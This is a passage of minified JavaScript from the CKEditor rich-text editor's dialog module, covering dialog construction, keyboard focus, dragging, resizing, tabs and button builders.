"javascript:void(function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.close();")+"}())";CKEDITOR.dom.element.createFromHtml('<iframe frameBorder="0" class="cke_iframe_shim" src="'+d+'" tabIndex="-1"></iframe>').appendTo(b.getParent())}c.unselectable();e.unselectable();return{element:a,parts:{dialog:a.getChild(0),title:c,close:e,tabs:b.getChild(2),contents:b.getChild([3,0,0,0]),footer:b.getChild([3,0,1,0])}}}function H(a,b,c){this.element=b;this.focusIndex=c;this.tabIndex=
0;this.isFocusable=function(){return!b.getAttribute("disabled")&&b.isVisible()};this.focus=function(){a._.currentFocusIndex=this.focusIndex;this.element.focus()};b.on("keydown",function(a){a.data.getKeystroke()in{32:1,13:1}&&this.fire("click")});b.on("focus",function(){this.fire("mouseover")});b.on("blur",function(){this.fire("mouseout")})}function T(a){function b(){a.layout()}var c=CKEDITOR.document.getWindow();c.on("resize",b);a.on("hide",function(){c.removeListener("resize",b)})}function I(a,b){this._=
{dialog:a};CKEDITOR.tools.extend(this,b)}function U(a){function b(b){var c=a.getSize(),i=CKEDITOR.document.getWindow().getViewPaneSize(),o=b.data.$.screenX,j=b.data.$.screenY,n=o-e.x,l=j-e.y;e={x:o,y:j};d.x+=n;d.y+=l;a.move(d.x+h[3]<f?-h[3]:d.x-h[1]>i.width-c.width-f?i.width-c.width+("rtl"==g.lang.dir?0:h[1]):d.x,d.y+h[0]<f?-h[0]:d.y-h[2]>i.height-c.height-f?i.height-c.height+h[2]:d.y,1);b.data.preventDefault()}function c(){CKEDITOR.document.removeListener("mousemove",b);CKEDITOR.document.removeListener("mouseup",
c);if(CKEDITOR.env.ie6Compat){var a=q.getChild(0).getFrameDocument();a.removeListener("mousemove",b);a.removeListener("mouseup",c)}}var e=null,d=null,g=a.getParentEditor(),f=g.config.dialog_magnetDistance,h=CKEDITOR.skin.margins||[0,0,0,0];"undefined"==typeof f&&(f=20);a.parts.title.on("mousedown",function(f){e={x:f.data.$.screenX,y:f.data.$.screenY};CKEDITOR.document.on("mousemove",b);CKEDITOR.document.on("mouseup",c);d=a.getPosition();if(CKEDITOR.env.ie6Compat){var h=q.getChild(0).getFrameDocument();
h.on("mousemove",b);h.on("mouseup",c)}f.data.preventDefault()},a)}function V(a){var b,c;function e(d){var e="rtl"==h.lang.dir,j=o.width,C=o.height,D=j+(d.data.$.screenX-b)*(e?-1:1)*(a._.moved?1:2),n=C+(d.data.$.screenY-c)*(a._.moved?1:2),x=a._.element.getFirst(),x=e&&x.getComputedStyle("right"),y=a.getPosition();y.y+n>i.height&&(n=i.height-y.y);if((e?x:y.x)+D>i.width)D=i.width-(e?x:y.x);if(f==CKEDITOR.DIALOG_RESIZE_WIDTH||f==CKEDITOR.DIALOG_RESIZE_BOTH)j=Math.max(g.minWidth||0,D-m);if(f==CKEDITOR.DIALOG_RESIZE_HEIGHT||
f==CKEDITOR.DIALOG_RESIZE_BOTH)C=Math.max(g.minHeight||0,n-k);a.resize(j,C);a._.moved||a.layout();d.data.preventDefault()}function d(){CKEDITOR.document.removeListener("mouseup",d);CKEDITOR.document.removeListener("mousemove",e);j&&(j.remove(),j=null);if(CKEDITOR.env.ie6Compat){var a=q.getChild(0).getFrameDocument();a.removeListener("mouseup",d);a.removeListener("mousemove",e)}}var g=a.definition,f=g.resizable;if(f!=CKEDITOR.DIALOG_RESIZE_NONE){var h=a.getParentEditor(),m,k,i,o,j,n=CKEDITOR.tools.addFunction(function(f){o=
a.getSize();var h=a.parts.contents;h.$.getElementsByTagName("iframe").length&&(j=CKEDITOR.dom.element.createFromHtml('<div class="cke_dialog_resize_cover" style="height: 100%; position: absolute; width: 100%;"></div>'),h.append(j));k=o.height-a.parts.contents.getSize("height",!(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.quirks));m=o.width-a.parts.contents.getSize("width",1);b=f.screenX;c=f.screenY;i=CKEDITOR.document.getWindow().getViewPaneSize();CKEDITOR.document.on("mousemove",e);CKEDITOR.document.on("mouseup",
d);CKEDITOR.env.ie6Compat&&(h=q.getChild(0).getFrameDocument(),h.on("mousemove",e),h.on("mouseup",d));f.preventDefault&&f.preventDefault()});a.on("load",function(){var b="";f==CKEDITOR.DIALOG_RESIZE_WIDTH?b=" cke_resizer_horizontal":f==CKEDITOR.DIALOG_RESIZE_HEIGHT&&(b=" cke_resizer_vertical");b=CKEDITOR.dom.element.createFromHtml('<div class="cke_resizer'+b+" cke_resizer_"+h.lang.dir+'" title="'+CKEDITOR.tools.htmlEncode(h.lang.common.resize)+'" onmousedown="CKEDITOR.tools.callFunction('+n+', event )">'+
("ltr"==h.lang.dir?"◢":"◣")+"</div>");a.parts.footer.append(b,1)});h.on("destroy",function(){CKEDITOR.tools.removeFunction(n)})}}function E(a){a.data.preventDefault(1)}function J(a){var b=CKEDITOR.document.getWindow(),c=a.config,e=c.dialog_backgroundCoverColor||"white",d=c.dialog_backgroundCoverOpacity,g=c.baseFloatZIndex,c=CKEDITOR.tools.genKey(e,d,g),f=w[c];f?f.show():(g=['<div tabIndex="-1" style="position: ',CKEDITOR.env.ie6Compat?"absolute":"fixed","; z-index: ",g,"; top: 0px; left: 0px; ",!CKEDITOR.env.ie6Compat?
"background-color: "+e:"",'" class="cke_dialog_background_cover">'],CKEDITOR.env.ie6Compat&&(e="<html><body style=\\'background-color:"+e+";\\'></body></html>",g.push('<iframe hidefocus="true" frameborder="0" id="cke_dialog_background_iframe" src="javascript:'),g.push("void((function(){"+encodeURIComponent("document.open();("+CKEDITOR.tools.fixDomain+")();document.write( '"+e+"' );document.close();")+"})())"),g.push('" style="position:absolute;left:0;top:0;width:100%;height: 100%;filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0)"></iframe>')),
g.push("</div>"),f=CKEDITOR.dom.element.createFromHtml(g.join("")),f.setOpacity(void 0!==d?d:0.5),f.on("keydown",E),f.on("keypress",E),f.on("keyup",E),f.appendTo(CKEDITOR.document.getBody()),w[c]=f);a.focusManager.add(f);q=f;var a=function(){var a=b.getViewPaneSize();f.setStyles({width:a.width+"px",height:a.height+"px"})},h=function(){var a=b.getScrollPosition(),c=CKEDITOR.dialog._.currentTop;f.setStyles({left:a.x+"px",top:a.y+"px"});if(c){do{a=c.getPosition();c.move(a.x,a.y)}while(c=c._.parentDialog)
}};F=a;b.on("resize",a);a();(!CKEDITOR.env.mac||!CKEDITOR.env.webkit)&&f.focus();if(CKEDITOR.env.ie6Compat){var m=function(){h();arguments.callee.prevScrollHandler.apply(this,arguments)};b.$.setTimeout(function(){m.prevScrollHandler=window.onscroll||function(){};window.onscroll=m},0);h()}}function K(a){q&&(a.focusManager.remove(q),a=CKEDITOR.document.getWindow(),q.hide(),a.removeListener("resize",F),CKEDITOR.env.ie6Compat&&a.$.setTimeout(function(){window.onscroll=window.onscroll&&window.onscroll.prevScrollHandler||
null},0),F=null)}var r=CKEDITOR.tools.cssLength,S='<div class="cke_reset_all {editorId} {editorDialogClass} {hidpi}" dir="{langDir}" lang="{langCode}" role="dialog" aria-labelledby="cke_dialog_title_{id}"><table class="cke_dialog '+CKEDITOR.env.cssClass+' cke_{langDir}" style="position:absolute" role="presentation"><tr><td role="presentation"><div class="cke_dialog_body" role="presentation"><div id="cke_dialog_title_{id}" class="cke_dialog_title" role="presentation"></div><a id="cke_dialog_close_button_{id}" class="cke_dialog_close_button" href="javascript:void(0)" title="{closeTitle}" role="button"><span class="cke_label">X</span></a><div id="cke_dialog_tabs_{id}" class="cke_dialog_tabs" role="tablist"></div><table class="cke_dialog_contents" role="presentation"><tr><td id="cke_dialog_contents_{id}" class="cke_dialog_contents_body" role="presentation"></td></tr><tr><td id="cke_dialog_footer_{id}" class="cke_dialog_footer" role="presentation"></td></tr></table></div></td></tr></table></div>';
CKEDITOR.dialog=function(a,b){function c(){var a=l._.focusList;a.sort(function(a,b){return a.tabIndex!=b.tabIndex?b.tabIndex-a.tabIndex:a.focusIndex-b.focusIndex});for(var b=a.length,c=0;c<b;c++)a[c].focusIndex=c}function e(a){var b=l._.focusList,a=a||0;if(!(1>b.length)){var c=l._.currentFocusIndex;try{b[c].getInputElement().$.blur()}catch(f){}for(var d=c=(c+a+b.length)%b.length;a&&!b[d].isFocusable()&&!(d=(d+a+b.length)%b.length,d==c););b[d].focus();"text"==b[d].type&&b[d].select()}}function d(b){if(l==
CKEDITOR.dialog._.currentTop){var c=b.data.getKeystroke(),d="rtl"==a.lang.dir;o=j=0;if(9==c||c==CKEDITOR.SHIFT+9)c=c==CKEDITOR.SHIFT+9,l._.tabBarMode?(c=c?t.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus()):e(c?-1:1),o=1;else if(c==CKEDITOR.ALT+121&&!l._.tabBarMode&&1<l.getPageCount())l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus(),o=1;else if((37==c||39==c)&&l._.tabBarMode)c=c==(d?39:37)?t.call(l):u.call(l),l.selectPage(c),l._.tabs[c][0].focus(),o=1;else if((13==c||32==c)&&l._.tabBarMode)this.selectPage(this._.currentTabId),
this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1),o=1;else if(13==c){c=b.data.getTarget();if(!c.is("a","button","select","textarea")&&(!c.is("input")||"button"!=c.$.type))(c=this.getButton("ok"))&&CKEDITOR.tools.setTimeout(c.click,0,c),o=1;j=1}else if(27==c)(c=this.getButton("cancel"))?CKEDITOR.tools.setTimeout(c.click,0,c):!1!==this.fire("cancel",{hide:!0}).hide&&this.hide(),j=1;else return;g(b)}}function g(a){o?a.data.preventDefault(1):j&&a.data.stopPropagation()}var f=CKEDITOR.dialog._.dialogDefinitions[b],
h=CKEDITOR.tools.clone(W),m=a.config.dialog_buttonsOrder||"OS",k=a.lang.dir,i={},o,j;("OS"==m&&CKEDITOR.env.mac||"rtl"==m&&"ltr"==k||"ltr"==m&&"rtl"==k)&&h.buttons.reverse();f=CKEDITOR.tools.extend(f(a),h);f=CKEDITOR.tools.clone(f);f=new L(this,f);h=R(a);this._={editor:a,element:h.element,name:b,contentSize:{width:0,height:0},size:{width:0,height:0},contents:{},buttons:{},accessKeyMap:{},tabs:{},tabIdList:[],currentTabId:null,currentTabIndex:null,pageCount:0,lastTab:null,tabBarMode:!1,focusList:[],
currentFocusIndex:0,hasFocus:!1};this.parts=h.parts;CKEDITOR.tools.setTimeout(function(){a.fire("ariaWidget",this.parts.contents)},0,this);h={position:CKEDITOR.env.ie6Compat?"absolute":"fixed",top:0,visibility:"hidden"};h["rtl"==k?"right":"left"]=0;this.parts.dialog.setStyles(h);CKEDITOR.event.call(this);this.definition=f=CKEDITOR.fire("dialogDefinition",{name:b,definition:f},a).definition;if(!("removeDialogTabs"in a._)&&a.config.removeDialogTabs){h=a.config.removeDialogTabs.split(";");for(k=0;k<
h.length;k++)if(m=h[k].split(":"),2==m.length){var n=m[0];i[n]||(i[n]=[]);i[n].push(m[1])}a._.removeDialogTabs=i}if(a._.removeDialogTabs&&(i=a._.removeDialogTabs[b]))for(k=0;k<i.length;k++)f.removeContents(i[k]);if(f.onLoad)this.on("load",f.onLoad);if(f.onShow)this.on("show",f.onShow);if(f.onHide)this.on("hide",f.onHide);if(f.onOk)this.on("ok",function(b){a.fire("saveSnapshot");setTimeout(function(){a.fire("saveSnapshot")},0);!1===f.onOk.call(this,b)&&(b.data.hide=!1)});if(f.onCancel)this.on("cancel",
function(a){!1===f.onCancel.call(this,a)&&(a.data.hide=!1)});var l=this,p=function(a){var b=l._.contents,c=!1,d;for(d in b)for(var f in b[d])if(c=a.call(this,b[d][f]))return};this.on("ok",function(a){p(function(b){if(b.validate){var c=b.validate(this),d="string"==typeof c||!1===c;d&&(a.data.hide=!1,a.stop());P.call(b,!d,"string"==typeof c?c:void 0);return d}})},this,null,0);this.on("cancel",function(b){p(function(c){if(c.isChanged())return!a.config.dialog_noConfirmCancel&&!confirm(a.lang.common.confirmCancel)&&
(b.data.hide=!1),!0})},this,null,0);this.parts.close.on("click",function(a){!1!==this.fire("cancel",{hide:!0}).hide&&this.hide();a.data.preventDefault()},this);this.changeFocus=e;var v=this._.element;a.focusManager.add(v,1);this.on("show",function(){v.on("keydown",d,this);if(CKEDITOR.env.gecko)v.on("keypress",g,this)});this.on("hide",function(){v.removeListener("keydown",d);CKEDITOR.env.gecko&&v.removeListener("keypress",g);p(function(a){Q.apply(a)})});this.on("iframeAdded",function(a){(new CKEDITOR.dom.document(a.data.iframe.$.contentWindow.document)).on("keydown",
d,this,null,0)});this.on("show",function(){c();if(a.config.dialog_startupFocusTab&&1<l._.pageCount)l._.tabBarMode=!0,l._.tabs[l._.currentTabId][0].focus();else if(!this._.hasFocus)if(this._.currentFocusIndex=-1,f.onFocus){var b=f.onFocus.call(this);b&&b.focus()}else e(1)},this,null,4294967295);if(CKEDITOR.env.ie6Compat)this.on("load",function(){var a=this.getElement(),b=a.getFirst();b.remove();b.appendTo(a)},this);U(this);V(this);(new CKEDITOR.dom.text(f.title,CKEDITOR.document)).appendTo(this.parts.title);
for(k=0;k<f.contents.length;k++)(i=f.contents[k])&&this.addPage(i);this.parts.tabs.on("click",function(a){var b=a.data.getTarget();b.hasClass("cke_dialog_tab")&&(b=b.$.id,this.selectPage(b.substring(4,b.lastIndexOf("_"))),this._.tabBarMode&&(this._.tabBarMode=!1,this._.currentFocusIndex=-1,e(1)),a.data.preventDefault())},this);k=[];i=CKEDITOR.dialog._.uiElementBuilders.hbox.build(this,{type:"hbox",className:"cke_dialog_footer_buttons",widths:[],children:f.buttons},k).getChild();this.parts.footer.setHtml(k.join(""));
for(k=0;k<i.length;k++)this._.buttons[i[k].id]=i[k]};CKEDITOR.dialog.prototype={destroy:function(){this.hide();this._.element.remove()},resize:function(){return function(a,b){if(!this._.contentSize||!(this._.contentSize.width==a&&this._.contentSize.height==b))CKEDITOR.dialog.fire("resize",{dialog:this,width:a,height:b},this._.editor),this.fire("resize",{width:a,height:b},this._.editor),this.parts.contents.setStyles({width:a+"px",height:b+"px"}),"rtl"==this._.editor.lang.dir&&this._.position&&(this._.position.x=
CKEDITOR.document.getWindow().getViewPaneSize().width-this._.contentSize.width-parseInt(this._.element.getFirst().getStyle("right"),10)),this._.contentSize={width:a,height:b}}}(),getSize:function(){var a=this._.element.getFirst();return{width:a.$.offsetWidth||0,height:a.$.offsetHeight||0}},move:function(a,b,c){var e=this._.element.getFirst(),d="rtl"==this._.editor.lang.dir,g="fixed"==e.getComputedStyle("position");CKEDITOR.env.ie&&e.setStyle("zoom","100%");if(!g||!this._.position||!(this._.position.x==
a&&this._.position.y==b))this._.position={x:a,y:b},g||(g=CKEDITOR.document.getWindow().getScrollPosition(),a+=g.x,b+=g.y),d&&(g=this.getSize(),a=CKEDITOR.document.getWindow().getViewPaneSize().width-g.width-a),b={top:(0<b?b:0)+"px"},b[d?"right":"left"]=(0<a?a:0)+"px",e.setStyles(b),c&&(this._.moved=1)},getPosition:function(){return CKEDITOR.tools.extend({},this._.position)},show:function(){var a=this._.element,b=this.definition;!a.getParent()||!a.getParent().equals(CKEDITOR.document.getBody())?a.appendTo(CKEDITOR.document.getBody()):
a.setStyle("display","block");this.resize(this._.contentSize&&this._.contentSize.width||b.width||b.minWidth,this._.contentSize&&this._.contentSize.height||b.height||b.minHeight);this.reset();this.selectPage(this.definition.contents[0].id);null===CKEDITOR.dialog._.currentZIndex&&(CKEDITOR.dialog._.currentZIndex=this._.editor.config.baseFloatZIndex);this._.element.getFirst().setStyle("z-index",CKEDITOR.dialog._.currentZIndex+=10);null===CKEDITOR.dialog._.currentTop?(CKEDITOR.dialog._.currentTop=this,
this._.parentDialog=null,J(this._.editor)):(this._.parentDialog=CKEDITOR.dialog._.currentTop,this._.parentDialog.getElement().getFirst().$.style.zIndex-=Math.floor(this._.editor.config.baseFloatZIndex/2),CKEDITOR.dialog._.currentTop=this);a.on("keydown",M);a.on("keyup",N);this._.hasFocus=!1;for(var c in b.contents)if(b.contents[c]){var a=b.contents[c],e=this._.tabs[a.id],d=a.requiredContent,g=0;if(e){for(var f in this._.contents[a.id]){var h=this._.contents[a.id][f];"hbox"==h.type||("vbox"==h.type||
!h.getInputElement())||(h.requiredContent&&!this._.editor.activeFilter.check(h.requiredContent)?h.disable():(h.enable(),g++))}!g||d&&!this._.editor.activeFilter.check(d)?e[0].addClass("cke_dialog_tab_disabled"):e[0].removeClass("cke_dialog_tab_disabled")}}CKEDITOR.tools.setTimeout(function(){this.layout();T(this);this.parts.dialog.setStyle("visibility","");this.fireOnce("load",{});CKEDITOR.ui.fire("ready",this);this.fire("show",{});this._.editor.fire("dialogShow",this);this._.parentDialog||this._.editor.focusManager.lock();
this.foreach(function(a){a.setInitValue&&a.setInitValue()})},100,this)},layout:function(){var a=this.parts.dialog,b=this.getSize(),c=CKEDITOR.document.getWindow().getViewPaneSize(),e=(c.width-b.width)/2,d=(c.height-b.height)/2;CKEDITOR.env.ie6Compat||(b.height+(0<d?d:0)>c.height||b.width+(0<e?e:0)>c.width?a.setStyle("position","absolute"):a.setStyle("position","fixed"));this.move(this._.moved?this._.position.x:e,this._.moved?this._.position.y:d)},foreach:function(a){for(var b in this._.contents)for(var c in this._.contents[b])a.call(this,
this._.contents[b][c]);return this},reset:function(){var a=function(a){a.reset&&a.reset(1)};return function(){this.foreach(a);return this}}(),setupContent:function(){var a=arguments;this.foreach(function(b){b.setup&&b.setup.apply(b,a)})},commitContent:function(){var a=arguments;this.foreach(function(b){CKEDITOR.env.ie&&this._.currentFocusIndex==b.focusIndex&&b.getInputElement().$.blur();b.commit&&b.commit.apply(b,a)})},hide:function(){if(this.parts.dialog.isVisible()){this.fire("hide",{});this._.editor.fire("dialogHide",
this);this.selectPage(this._.tabIdList[0]);var a=this._.element;a.setStyle("display","none");this.parts.dialog.setStyle("visibility","hidden");for(X(this);CKEDITOR.dialog._.currentTop!=this;)CKEDITOR.dialog._.currentTop.hide();if(this._.parentDialog){var b=this._.parentDialog.getElement().getFirst();b.setStyle("z-index",parseInt(b.$.style.zIndex,10)+Math.floor(this._.editor.config.baseFloatZIndex/2))}else K(this._.editor);if(CKEDITOR.dialog._.currentTop=this._.parentDialog)CKEDITOR.dialog._.currentZIndex-=
10;else{CKEDITOR.dialog._.currentZIndex=null;a.removeListener("keydown",M);a.removeListener("keyup",N);var c=this._.editor;c.focus();setTimeout(function(){c.focusManager.unlock();CKEDITOR.env.iOS&&c.window.focus()},0)}delete this._.parentDialog;this.foreach(function(a){a.resetInitValue&&a.resetInitValue()})}},addPage:function(a){if(!a.requiredContent||this._.editor.filter.check(a.requiredContent)){for(var b=[],c=a.label?' title="'+CKEDITOR.tools.htmlEncode(a.label)+'"':"",e=CKEDITOR.dialog._.uiElementBuilders.vbox.build(this,
{type:"vbox",className:"cke_dialog_page_contents",children:a.elements,expand:!!a.expand,padding:a.padding,style:a.style||"width: 100%;"},b),d=this._.contents[a.id]={},g=e.getChild(),f=0;e=g.shift();)!e.notAllowed&&("hbox"!=e.type&&"vbox"!=e.type)&&f++,d[e.id]=e,"function"==typeof e.getChild&&g.push.apply(g,e.getChild());f||(a.hidden=!0);b=CKEDITOR.dom.element.createFromHtml(b.join(""));b.setAttribute("role","tabpanel");e=CKEDITOR.env;d="cke_"+a.id+"_"+CKEDITOR.tools.getNextNumber();c=CKEDITOR.dom.element.createFromHtml(['<a class="cke_dialog_tab"',
0<this._.pageCount?" cke_last":"cke_first",c,a.hidden?' style="display:none"':"",' id="',d,'"',e.gecko&&!e.hc?"":' href="javascript:void(0)"',' tabIndex="-1" hidefocus="true" role="tab">',a.label,"</a>"].join(""));b.setAttribute("aria-labelledby",d);this._.tabs[a.id]=[c,b];this._.tabIdList.push(a.id);!a.hidden&&this._.pageCount++;this._.lastTab=c;this.updateStyle();b.setAttribute("name",a.id);b.appendTo(this.parts.contents);c.unselectable();this.parts.tabs.append(c);a.accessKey&&(O(this,this,"CTRL+"+
a.accessKey,Y,Z),this._.accessKeyMap["CTRL+"+a.accessKey]=a.id)}},selectPage:function(a){if(this._.currentTabId!=a&&!this._.tabs[a][0].hasClass("cke_dialog_tab_disabled")&&!1!==this.fire("selectPage",{page:a,currentPage:this._.currentTabId})){for(var b in this._.tabs){var c=this._.tabs[b][0],e=this._.tabs[b][1];b!=a&&(c.removeClass("cke_dialog_tab_selected"),e.hide());e.setAttribute("aria-hidden",b!=a)}var d=this._.tabs[a];d[0].addClass("cke_dialog_tab_selected");CKEDITOR.env.ie6Compat||CKEDITOR.env.ie7Compat?
(G(d[1]),d[1].show(),setTimeout(function(){G(d[1],1)},0)):d[1].show();this._.currentTabId=a;this._.currentTabIndex=CKEDITOR.tools.indexOf(this._.tabIdList,a)}},updateStyle:function(){this.parts.dialog[(1===this._.pageCount?"add":"remove")+"Class"]("cke_single_page")},hidePage:function(a){var b=this._.tabs[a]&&this._.tabs[a][0];b&&(1!=this._.pageCount&&b.isVisible())&&(a==this._.currentTabId&&this.selectPage(t.call(this)),b.hide(),this._.pageCount--,this.updateStyle())},showPage:function(a){if(a=this._.tabs[a]&&
this._.tabs[a][0])a.show(),this._.pageCount++,this.updateStyle()},getElement:function(){return this._.element},getName:function(){return this._.name},getContentElement:function(a,b){var c=this._.contents[a];return c&&c[b]},getValueOf:function(a,b){return this.getContentElement(a,b).getValue()},setValueOf:function(a,b,c){return this.getContentElement(a,b).setValue(c)},getButton:function(a){return this._.buttons[a]},click:function(a){return this._.buttons[a].click()},disableButton:function(a){return this._.buttons[a].disable()},
enableButton:function(a){return this._.buttons[a].enable()},getPageCount:function(){return this._.pageCount},getParentEditor:function(){return this._.editor},getSelectedElement:function(){return this.getParentEditor().getSelection().getSelectedElement()},addFocusable:function(a,b){if("undefined"==typeof b)b=this._.focusList.length,this._.focusList.push(new H(this,a,b));else{this._.focusList.splice(b,0,new H(this,a,b));for(var c=b+1;c<this._.focusList.length;c++)this._.focusList[c].focusIndex++}}};
CKEDITOR.tools.extend(CKEDITOR.dialog,{add:function(a,b){if(!this._.dialogDefinitions[a]||"function"==typeof b)this._.dialogDefinitions[a]=b},exists:function(a){return!!this._.dialogDefinitions[a]},getCurrent:function(){return CKEDITOR.dialog._.currentTop},isTabEnabled:function(a,b,c){a=a.config.removeDialogTabs;return!(a&&a.match(RegExp("(?:^|;)"+b+":"+c+"(?:$|;)","i")))},okButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"ok",type:"button",label:a.lang.common.ok,"class":"cke_dialog_ui_button_ok",
onClick:function(a){a=a.data.dialog;!1!==a.fire("ok",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="button";a.override=function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),cancelButton:function(){var a=function(a,c){c=c||{};return CKEDITOR.tools.extend({id:"cancel",type:"button",label:a.lang.common.cancel,"class":"cke_dialog_ui_button_cancel",onClick:function(a){a=a.data.dialog;!1!==a.fire("cancel",{hide:!0}).hide&&a.hide()}},c,!0)};a.type="button";a.override=
function(b){return CKEDITOR.tools.extend(function(c){return a(c,b)},{type:"button"},!0)};return a}(),addUIElement:function(a,b){this._.uiElementBuilders[a]=b}});CKEDITOR.dialog._={uiElementBuilders:{},dialogDefinitions:{},currentTop:null,currentZIndex:null};CKEDITOR.event.implementOn(CKEDITOR.dialog);CKEDITOR.event.implementOn(CKEDITOR.dialog.prototype);var W={resizable:CKEDITOR.DIALOG_RESIZE_BOTH,minWidth:600,minHeight:400,buttons:[CKEDITOR.dialog.okButton,CKEDITOR.dialog.cancelButton]},z=function(a,
b,c){for(var e=0,d;d=a[e];e++)if(d.id==b||c&&d[c]&&(d=z(d[c],b,c)))return d;return null},A=function(a,b,c,e,d){if(c){for(var g=0,f;f=a[g];g++){if(f.id==c)return a.splice(g,0,b),b;if(e&&f[e]&&(f=A(f[e],b,c,e,!0)))return f}if(d)return null}a.push(b);return b},B=function(a,b,c){for(var e=0,d;d=a[e];e++){if(d.id==b)return a.splice(e,1);if(c&&d[c]&&(d=B(d[c],b,c)))return d}return null},L=function(a,b){this.dialog=a;for(var c=b.contents,e=0,d;d=c[e];e++)c[e]=d&&new I(a,d);CKEDITOR.tools.extend(this,b)};
L.prototype={getContents:function(a){return z(this.contents,a)},getButton:function(a){return z(this.buttons,a)},addContents:function(a,b){return A(this.contents,a,b)},addButton:function(a,b){return A(this.buttons,a,b)},removeContents:function(a){B(this.contents,a)},removeButton:function(a){B(this.buttons,a)}};I.prototype={get:function(a){return z(this.elements,a,"children")},add:function(a,b){return A(this.elements,a,b,"children")},remove:function(a){B(this.elements,a,"children")}};var F,w={},q,s=
{},M=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=s[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.length)b=b[b.length-1],b.keydown&&b.keydown.call(b.uiElement,b.dialog,b.key),a.data.preventDefault()},N=function(a){var b=a.data.$.ctrlKey||a.data.$.metaKey,c=a.data.$.altKey,e=a.data.$.shiftKey,d=String.fromCharCode(a.data.$.keyCode);if((b=s[(b?"CTRL+":"")+(c?"ALT+":"")+(e?"SHIFT+":"")+d])&&b.length)b=b[b.length-
1],b.keyup&&(b.keyup.call(b.uiElement,b.dialog,b.key),a.data.preventDefault())},O=function(a,b,c,e,d){(s[c]||(s[c]=[])).push({uiElement:a,dialog:b,key:c,keyup:d||a.accessKeyUp,keydown:e||a.accessKeyDown})},X=function(a){for(var b in s){for(var c=s[b],e=c.length-1;0<=e;e--)(c[e].dialog==a||c[e].uiElement==a)&&c.splice(e,1);0===c.length&&delete s[b]}},Z=function(a,b){a._.accessKeyMap[b]&&a.selectPage(a._.accessKeyMap[b])},Y=function(){};(function(){CKEDITOR.ui.dialog={uiElement:function(a,b,c,e,d,g,
f){if(!(4>arguments.length)){var h=(e.call?e(b):e)||"div",m=["<",h," "],k=(d&&d.call?d(b):d)||{},i=(g&&g.call?g(b):g)||{},o=(f&&f.call?f.call(this,a,b):f)||"",j=this.domId=i.id||CKEDITOR.tools.getNextId()+"_uiElement";b.requiredContent&&!a.getParentEditor().filter.check(b.requiredContent)&&(k.display="none",this.notAllowed=!0);i.id=j;var n={};b.type&&(n["cke_dialog_ui_"+b.type]=1);b.className&&(n[b.className]=1);b.disabled&&(n.cke_disabled=1);for(var l=i["class"]&&i["class"].split?i["class"].split(" "):
[],j=0;j<l.length;j++)l[j]&&(n[l[j]]=1);l=[];for(j in n)l.push(j);i["class"]=l.join(" ");b.title&&(i.title=b.title);n=(b.style||"").split(";");b.align&&(l=b.align,k["margin-left"]="left"==l?0:"auto",k["margin-right"]="right"==l?0:"auto");for(j in k)n.push(j+":"+k[j]);b.hidden&&n.push("display:none");for(j=n.length-1;0<=j;j--)""===n[j]&&n.splice(j,1);0<n.length&&(i.style=(i.style?i.style+"; ":"")+n.join("; "));for(j in i)m.push(j+'="'+CKEDITOR.tools.htmlEncode(i[j])+'" ');m.push(">",o,"</",h,">");
c.push(m.join(""));(this._||(this._={})).dialog=a;"boolean"==typeof b.isChanged&&(this.isChanged=function(){return b.isChanged});"function"==typeof b.isChanged&&(this.isChanged=b.isChanged);"function"==typeof b.setValue&&(this.setValue=CKEDITOR.tools.override(this.setValue,function(a){return function(c){a.call(this,b.setValue.call(this,c))}}));"function"==typeof b.getValue&&(this.getValue=CKEDITOR.tools.override(this.getValue,function(a){return function(){return b.getValue.call(this,a.call(this))}}));
CKEDITOR.event.implementOn(this);this.registerEvents(b);this.accessKeyUp&&(this.accessKeyDown&&b.accessKey)&&O(this,a,"CTRL+"+b.accessKey);var p=this;a.on("load",function(){var b=p.getInputElement();if(b){var c=p.type in{checkbox:1,ratio:1}&&CKEDITOR.env.ie&&CKEDITOR.env.version<8?"cke_dialog_ui_focused":"";b.on("focus",function(){a._.tabBarMode=false;a._.hasFocus=true;p.fire("focus");c&&this.addClass(c)});b.on("blur",function(){p.fire("blur");c&&this.removeClass(c)})}});CKEDITOR.tools.extend(this,
b);this.keyboardFocusable&&(this.tabIndex=b.tabIndex||0,this.focusIndex=a._.focusList.push(this)-1,this.on("focus",function(){a._.currentFocusIndex=p.focusIndex}))}},hbox:function(a,b,c,e,d){if(!(4>arguments.length)){this._||(this._={});var g=this._.children=b,f=d&&d.widths||null,h=d&&d.height||null,m,k={role:"presentation"};d&&d.align&&(k.align=d.align);CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"hbox"},e,"table",{},k,function(){var a=['<tbody><tr class="cke_dialog_ui_hbox">'];for(m=0;m<c.length;m++){var b=
"cke_dialog_ui_hbox_child",e=[];0===m&&(b="cke_dialog_ui_hbox_first");m==c.length-1&&(b="cke_dialog_ui_hbox_last");a.push('<td class="',b,'" role="presentation" ');f?f[m]&&e.push("width:"+r(f[m])):e.push("width:"+Math.floor(100/c.length)+"%");h&&e.push("height:"+r(h));d&&void 0!==d.padding&&e.push("padding:"+r(d.padding));CKEDITOR.env.ie&&(CKEDITOR.env.quirks&&g[m].align)&&e.push("text-align:"+g[m].align);0<e.length&&a.push('style="'+e.join("; ")+'" ');a.push(">",c[m],"</td>")}a.push("</tr></tbody>");
return a.join("")})}},vbox:function(a,b,c,e,d){if(!(3>arguments.length)){this._||(this._={});var g=this._.children=b,f=d&&d.width||null,h=d&&d.heights||null;CKEDITOR.ui.dialog.uiElement.call(this,a,d||{type:"vbox"},e,"div",null,{role:"presentation"},function(){var b=['<table role="presentation" cellspacing="0" border="0" '];b.push('style="');d&&d.expand&&b.push("height:100%;");b.push("width:"+r(f||"100%"),";");CKEDITOR.env.webkit&&b.push("float:none;");b.push('"');b.push('align="',CKEDITOR.tools.htmlEncode(d&&
